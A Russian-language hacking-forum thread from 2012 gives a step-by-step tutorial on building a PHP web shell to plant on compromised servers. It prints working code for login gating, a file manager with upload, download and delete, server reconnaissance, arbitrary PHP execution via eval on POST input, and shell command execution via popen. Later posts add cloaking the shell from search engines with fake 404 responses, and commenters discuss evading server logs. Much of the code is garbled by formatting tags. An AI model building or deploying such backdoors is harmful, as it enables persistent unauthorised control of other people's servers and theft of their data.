HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.08.2012, 03:53
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

0. ИНТРО

Сделаю маленькое отступление от тематики и разъясню, что к чему. Данная статья написана в стиле HowTo - как собрать веб-шелл. Вообще в идеале, можно было бы написать большую теорию о нужном функционале шелла и в конце предложить Вам конструктор по его сборке из уже готовых элементов, но все таки я придерживаюсь мнения, что лучше полноценной практики после теории Нет. Вообще шеллов в интернете жопой ешь, но все таки согласитесь, что во-первых своё - родное, оно по приятнее будет, да и сам процесс создания оболочки вас много должен научить. Тем более, иногда бывают такие ситуации когда вес загружаемого файла не позволяет загрузить полноценный шелл, а после прочтения данной статьи, вы за несколько минут можете собрать тяп-ляп шелл, который будет отлично функционировать.

1. ФУНКЦИОНАЛЬНАЯ ЧАСТЬ

[~] Авторизация

[~] Файловый менеджер

[~] Загрузка файла на сервер

[~] Вывод информации о сервере

[~] Исполнение PHP кода

[~] Исполнение SHELL кода

2. Авторизация

Итак, сейчас будем рассматривать два способа авторизации, соответственно отличающихся друг от друга по многим фактором, от внешнего вида, до самого способа аутентификации.

2. Авторизация через системную форму;

1. Авторизация через веб-форму

Чтобы наша веб-форма авторизации в шелле была видна хацкеру, мы должны её "построить", а строить её будет HTML код ниже:


PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]Password[/COLOR][COLOR="#007700"]:



[/COLOR][/COLOR
Это вообще, самый минимум, который только может быть и по мне так и надо оставить это дело, не надо на этом этапе подключать css и делать красивейшие формы - это лишние kb(!!!). Теперь давайте напишем скрипт, который будет обрабатывать эту форму:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"pass"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]// MD5

[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]];

if([/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"])==[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"])

{


[/COLOR][COLOR="#FF8000"]// код шелла

[/COLOR][COLOR="#007700"]}

[/COLOR][/COLOR
2. Авторизация через системную форму

Приступим к рассмотрению более надежного варианта авторизации в шелле - системная авторизация. При обращении к шеллу (site.com/shell.php) появится окно с двумя полями - логин и пароль:


Как вы наверно уже знаете, для такого способа авторизации HTML форма не нужна, поэтому сразу напишем PHP скрипт:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"user"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"pass"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]// password in md5

[/COLOR][COLOR="#007700"]if (!isset([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PHP_AUTH_USER'[/COLOR][COLOR="#007700"]]) ||[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PHP_AUTH_USER'[/COLOR][COLOR="#007700"]]!==[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PHP_AUTH_PW'[/COLOR][COLOR="#007700"]])!==[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'WWW-Authenticate: Basic realm="Заголовок формы"'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'HTTP/1.0 401 Unauthorized'[/COLOR][COLOR="#007700"]);

exit([/COLOR][COLOR="#DD0000"]"Access Denied"[/COLOR][COLOR="#007700"]);}

echo[/COLOR][COLOR="#DD0000"]"Access granted!"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#FF8000"]//тут код самого шелла

[/COLOR][/COLOR
А да, чуть не забыл. Если хотите не за*бывать себя, то лучше поработайте с куками или сессиями и дополните ПЕРВУЮ авторизацию, для второго способа этого НЕ требуется. (еще один плюс за #2)

3. ФАЙЛОВЫЙ МЕНЕДЖЕР

Ну вот и подошло время к самому главному составляющему нашего шелла - файловая система! И если вы думаете, что файловый менеджер это ls- la, то готов вас огорчить, ведь это не только листинг файликов и папок, но и действия с ними, типа - удаление, переименования и т.д.

[PHP]
[COLOR="#000000"]$d=@getcwd();

$dirs=array();

$files=array();

$dh= @opendir($d);

while (!((
$file=readdir($dh)) ===false)) {

if (
$file=="."||$file=="..") continue;

if (@
is_dir("$d/$file")) {

$dirs[]=$file;

}else{

$files[]=$file;

}

sort($dirs);

sort($files);

}

for(
$i=0;$i$dirs[$i]
"
;

}

for(
$i=0;$i[COLOR="#007700"]

Сейчас буду описывать функционал файлового менеджера, в формате: описание-код, а уже вам решать как и куда вы его будите впихивать, можете организовать как в wso, можете как в r57, можете изобрести что-то новое

1. Создание файлов

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR
Учтите здесь такой нюанс, что в переменную $name, должно быть записано полное имя файла, то есть, что-то вроде: /home/users/domains/site/public_html/name.txt, как это получить? Очень просто! Включаем браин и думаем где это уже встречалось в коде? Конечно же в файловом менеджере, переменная $d там отвечает за полный путь до директории, она получается из функции getcwd(), соответственно с помощью конкатенации и веб-формы делаем отличную создавалку файлов

2. Создание папочек

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]mkdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0777[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
С $name повторяться не буду, скажу лишь про 0777 - это права на доступ к папке, спросите их так же через веб-форму и пользователя.

3. Переименование файлов

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]rename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$previous[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$new_name[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
Опять все аналогично с $name - полное имя файла.

4. Копирование файлов

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$copy_to[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
NO comments, baby! Все проще не куда.

5. Удаление файлов/папок/папочек

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
6. Скачивание файлов

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]file_download[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$mimetype[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'application/octet-stream'[/COLOR][COLOR="#007700"]) {

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"SERVER_PROTOCOL"[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]' 200 OK'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Content-Type: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$mimetype[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Last-Modified: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]gmdate[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"])));

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ETag: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sprintf[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'%x-%x-%x'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]fileinode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"])));[/COLOR][COLOR="#FF8000"]// Уникальный идентификатор документа

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Content-Length: '[/COLOR][COLOR="#007700"]. ([/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"])));[/COLOR][COLOR="#FF8000"]// Размер файла

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Connection: close'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Content-Disposition: attachment; filename="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'";'[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]);

} else {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"SERVER_PROTOCOL"[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]' 404 Not Found'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Status: 404 Not Found'[/COLOR][COLOR="#007700"]);

}

exit;

}

[/
COLOR][/COLOR
Здесь, что-то новое - header()! Это штука определяет для браузера, что ему нужно именно скачать этот файл. Здесь скачка организованна через функцию, по идеи у вас весь функционал должен быть таковым, поэтому если вы еще не привели всё в функции, то сделайте это на этом этапе.

7. Загрузка/UPLOAD файлов

Так, теперь приступим к мега важной функции - upload file Здесь все просто, но будем делать в два шага. Сначала создадим форму на HTML:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
Теперь пишем маленький PHP скрипт, который будет дорабатывать все это дело:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$where[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'where'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$upload[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'upload'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$where[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"//"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$where[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$upload[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'text'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$uploadfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$where[/COLOR][COLOR="#DD0000"]/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$upload[/COLOR][COLOR="#007700"];

if (@[/COLOR][COLOR="#0000BB"]move_uploaded_file[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'text'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$uploadfile[/COLOR][COLOR="#007700"])) {

[/COLOR][COLOR="#0000BB"]$uploadfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"//"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$uploadfile[/COLOR][COLOR="#007700"]);

}

[/COLOR][/COLOR
ЗЫ Можете сделать multiupload, принцип надеюсь понятен.

4. ABOUT SERVER

Так, теперь напишем маленький about о вашем сервере. Ниже приведу несколько команд для такого вот трюка:

1. Версия ОС:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]php_uname[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR
2. Server IP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"SERVER_ADDR"[/COLOR][COLOR="#007700"]][/COLOR][/COLOR
3. Client IP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REMOTE_ADDR'[/COLOR][COLOR="#007700"]][/COLOR][/COLOR
4. Версия PHP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]phpversion[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR
5. Safe mode:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'safe_mode'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Ну и так далее, вообщем это все основное. Если вам нужно, что-то дополнительное то аля google или сп*здите у wso, r57

5. Выполнение PHP/SHELL команд

1. PHP код делать очень очень очень очень очень очень легко. Расписывать ничего не буду, просто держите код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo eval([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'php'[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR
Надеюсь понятно, что вы должны создать веб-форму post и т.д....

2. Выполнение shell кода будет реализовано на большем кол-ве строк, но все же - это легко.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]){

[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]popen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);

{

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

while
(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"])){[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);}

[/COLOR][COLOR="#0000BB"]pclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

}

[/COLOR][COLOR="#0000BB"]$ret[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$ret[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]convert_cyr_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ret[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"d"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

return[/COLOR][COLOR="#0000BB"]$ret[/COLOR][COLOR="#007700"];}

echo[/COLOR][COLOR="#DD0000"]"



[/COLOR][COLOR="
#0000BB"]$command[/COLOR][COLOR="#DD0000"]


echo
@HTMLspecialchars(shell([/COLOR][COLOR="#0000BB"]$command[/COLOR][COLOR="#DD0000"]));

"[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR
Здесь ничего объяснять не буду, т.к. все как всегда понятно.

6. Итог

Статейка получилось приличной по объему, поэтому многие доп. функции в статью не вошли, но могу лишь подать идейки:

[1] Сделать ajax обновление

[2] Кодирование в md5,base64,url encode/decode и т.д.

[3] Замутить mysql-менеджер, но это уже вообще отдельная статья

[4] Добавить различие в цветовой гамме папок и файлов, скрытых файлов и т.п.
 
Ответить с цитированием

  #2  
Старый 29.08.2012, 21:10
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Base64 encode/decode

Base64 encode/decode

Кодирование/Декодирование мы будем делать за счет пользовательских функций в PHP: base64_encode и base64_decode.


Итак,сначала пишем веб-форму для сего дела:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][COLOR="#0000BB"]Base64 encode[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]decode[/COLOR][COLOR="#007700"]:







[/COLOR][/COLOR
Теперь напишем PHP скрипт, который будет обрабатывать текст и кодировать/декодировать его:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
Код одним файлом - pastebin

DEMO файл скрипта - тЫк
 
Ответить с цитированием

  #3  
Старый 29.08.2012, 22:36
mironich
Постоянный
Регистрация: 27.02.2011
Сообщений: 733
С нами: 8003126

Репутация: 19


По умолчанию

Цитата:
Сообщение от None  
Форма передает все методом post, НО это не очень хорошо для шелла, т.к. всё это дело будет писаться в логи, поэтому лучше передавать все в GET+ajax.
Ты нечего не путаешь?

POST- запросы в большинстве случаев не логируються(их тело).

GET - в большинстве случаев логируються, и легко понять по URL что и куда передается.
 
Ответить с цитированием

  #4  
Старый 29.08.2012, 22:55
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

URL encode/decode

URL encode/decode

URL кодирование и декодирование мы будем делать через встроенные или как их еще называют - пользовательские функции в PHP: urlencode и urldecode.


Напишем HTML форму:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][COLOR="#0000BB"]URL encode[/COLOR][COLOR="#007700"]:





[/COLOR][COLOR="#0000BB"]URL decode[/COLOR][COLOR="#007700"]:





[/COLOR][/COLOR
А вот и PHP скрипт который обработает данные из вышенаписанной формы:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
Код в одном файле - pastebin

DEMO файл скрипта - тЫк
 
Ответить с цитированием

  #5  
Старый 29.08.2012, 23:01
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Цитата:
Сообщение от mironich  
Ты нечего не путаешь?
POST- запросы в большинстве случаев не логируються(их тело).
GET - в большинстве случаев логируються, и легко понять по URL что и куда передается.
Исправил.
 
Ответить с цитированием

  #6  
Старый 29.08.2012, 23:05
Zombi ****
Участник форума
Регистрация: 04.04.2009
Сообщений: 256
С нами: 9001738

Репутация: 350
По умолчанию

да ты гуру расковырял всо и давай плодить статьи
 
Ответить с цитированием

  #7  
Старый 29.08.2012, 23:12
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Скрываем шелл от поисковых систем

Прячем шелл от ПС

Способ #1

Шелл не должен индексироваться поисковыми системами, иначе есть вероятность не только спалить его, но и заиметь левых владельцев. Поэтому будем проверять глобальный массив $_SERVER['HTTP_USER_AGENT'] на наличии в нем google, yandex и прочей нечисти и говорить им что на данном адресе 404 error.

Вот скрипт на PHP:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$userAgents[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]"Google"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Slurp"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"MSNBot"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"ia_archiver"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Yandex"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Rambler"[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'|'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$userAgents[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'/i'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'HTTP/1.0 404 Not Found'[/COLOR][COLOR="#007700"]);

exit;

}

}

[/
COLOR][/COLOR
Способ #2

На счет первого способа скрытия шелла была высказанна объективная критика, что это не дает 100% защиты от скрытия шелла, поэтому сейчас будем реализовать более безопасный вариант. Будет проверяться глобальный массив $_SERVER['HTTP_USER_AGENT'] на схожесть с заранее записанным вариантом:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#0000BB"]qwerty[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'HTTP/1.0 404 Not Found'[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"404 Not Found"[/COLOR][COLOR="#007700"];

}


else echo
[/COLOR][COLOR="#DD0000"]"код оболочки..."[/COLOR][COLOR="#007700"];

[/
COLOR][/COLOR
Заменять User Agent будем через плагин для FireFox - User Agent Switcher , актуальная версия на сегодняшний день 0.7.3.

Спасибо за идею - BigBear, mironich!
 
Ответить с цитированием

  #8  
Старый 29.08.2012, 23:15
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Цитата:
Сообщение от Zombi ****  
Zombi **** said:
да ты гуру расковырял всо и давай плодить статьи
У вас есть другие варианты написать шелл? Это стандартная реализация оболчки на PHP, по другому вы этого не реализуете и wso здесь совсем не причем, ВСЁ что написано выше есть в любом уважающем себя шелле.
 
Ответить с цитированием

  #9  
Старый 29.08.2012, 23:25
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Цитата:
Сообщение от Zed0x  
Прячем шелл от ПС
Шелл не должен индексироваться поисковыми системами, иначе есть вероятность не только спалить его, но и заиметь левых владельцев. Поэтому будем проверять глобальный массив $_SERVER['HTTP_USER_AGENT'] на наличии в нем google, yandex и прочей нечисти и говорить им что на данном адресе 404 error.
Вот скрипт на PHP:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$userAgents[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]"Google"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Slurp"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"MSNBot"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"ia_archiver"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Yandex"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Rambler"[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'|'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$userAgents[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'/i'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'HTTP/1.0 404 Not Found'[/COLOR][COLOR="#007700"]);

exit;

}

}

[/
COLOR][/COLOR
Абсолютно неэффективно. Ну то есть да, для начала неплохо, но 100% защиты не даёт. Бот других поисковиков найдёт запросто.

ИМХО, надо резать по IP сетей поисковиков (знающие люди имеют их в бооооольшом количестве). Это хоть как то убережёт ваш шелл от чужих глаз.

Была ещё идея юзать определённый User-Agent и только по нему авторизовывать, но геморно это как то...
 
Ответить с цитированием

  #10  
Старый 29.08.2012, 23:28
mironich
Постоянный
Регистрация: 27.02.2011
Сообщений: 733
С нами: 8003126

Репутация: 19


По умолчанию

Цитата:
Сообщение от None  
